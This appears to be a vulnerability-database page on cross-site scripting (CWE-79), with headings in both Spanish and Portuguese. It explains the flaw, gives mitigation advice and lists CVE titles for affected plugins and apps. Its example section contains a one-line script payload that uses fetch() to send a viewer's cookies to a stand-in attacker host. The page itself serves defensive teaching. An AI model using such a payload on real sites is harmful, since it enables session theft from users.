Fallos del tipo CWE-79

30.269 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-23447HIGHWordPress Smooth Dynamic Slider plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-20049HIGHDario Health USB-C Blood Glucose Monitoring System Starter Kit Android Application Cross-site ScriptingEPSS 0.3%CVE-2024-12525MEDIUMEasy MLS Listings Import <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-9208MEDIUMEnable Accessibility <= 1.4.1 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-25118HIGHWordPress WPOptin plugin <= 2.0.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-25133HIGHWordPress WP Frontend Submit Plugin <= 1.1.0 - Reflected Cross-Site Scripting vulnerabilityEPSS 0.3%CVE-2025-22578MEDIUMWordPress WP Cookie plugin <= 1.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23450HIGHWordPress AW WooCommerce Kode Pembayaran plugin <= 1.1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5668MEDIUMLightbox & Modal Popup WordPress Plugin – FooBox <= 2.7.28 - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via HTML Data AttributesEPSS 0.3%CVE-2024-13334MEDIUMCar Demon <= 1.8.1 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-31436HIGHWordPress Blubrry PowerPress Podcasting plugin MultiSite add-on plugin <= 0.1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-32118MEDIUMOpenEMR has Stored XSS in Graphical Pain Map legend via unescaped annotation textEPSS 0.3%CVE-2024-36599MEDIUMA cross-site scripting (XSS) vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payloaEPSS 0.3%CVE-2025-23433HIGHWordPress vcOS plugin <=1.4.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-106102CRITICALQuasar Framework: Stored/Reflected XSS via unescaped SSR meta tag rendering in getHead()EPSS 0.3%CVE-2025-24909MEDIUMHitachi Vantara Pentaho Business Analytics Server - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')EPSS 0.3%CVE-2025-23464HIGHWordPress Twitter News Feed plugin <= 1.1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-0757MEDIUMHitachi Vantara Pentaho Business Analytics Server - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')EPSS 0.3%CVE-2026-108722LOWopen-computer-use through commit 610bac8 Stored XSS via log.html Session LogEPSS 0.3%CVE-2025-9856MEDIUMPopup Builder – Create highly converting, mobile friendly marketing popups. <= 4.4.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%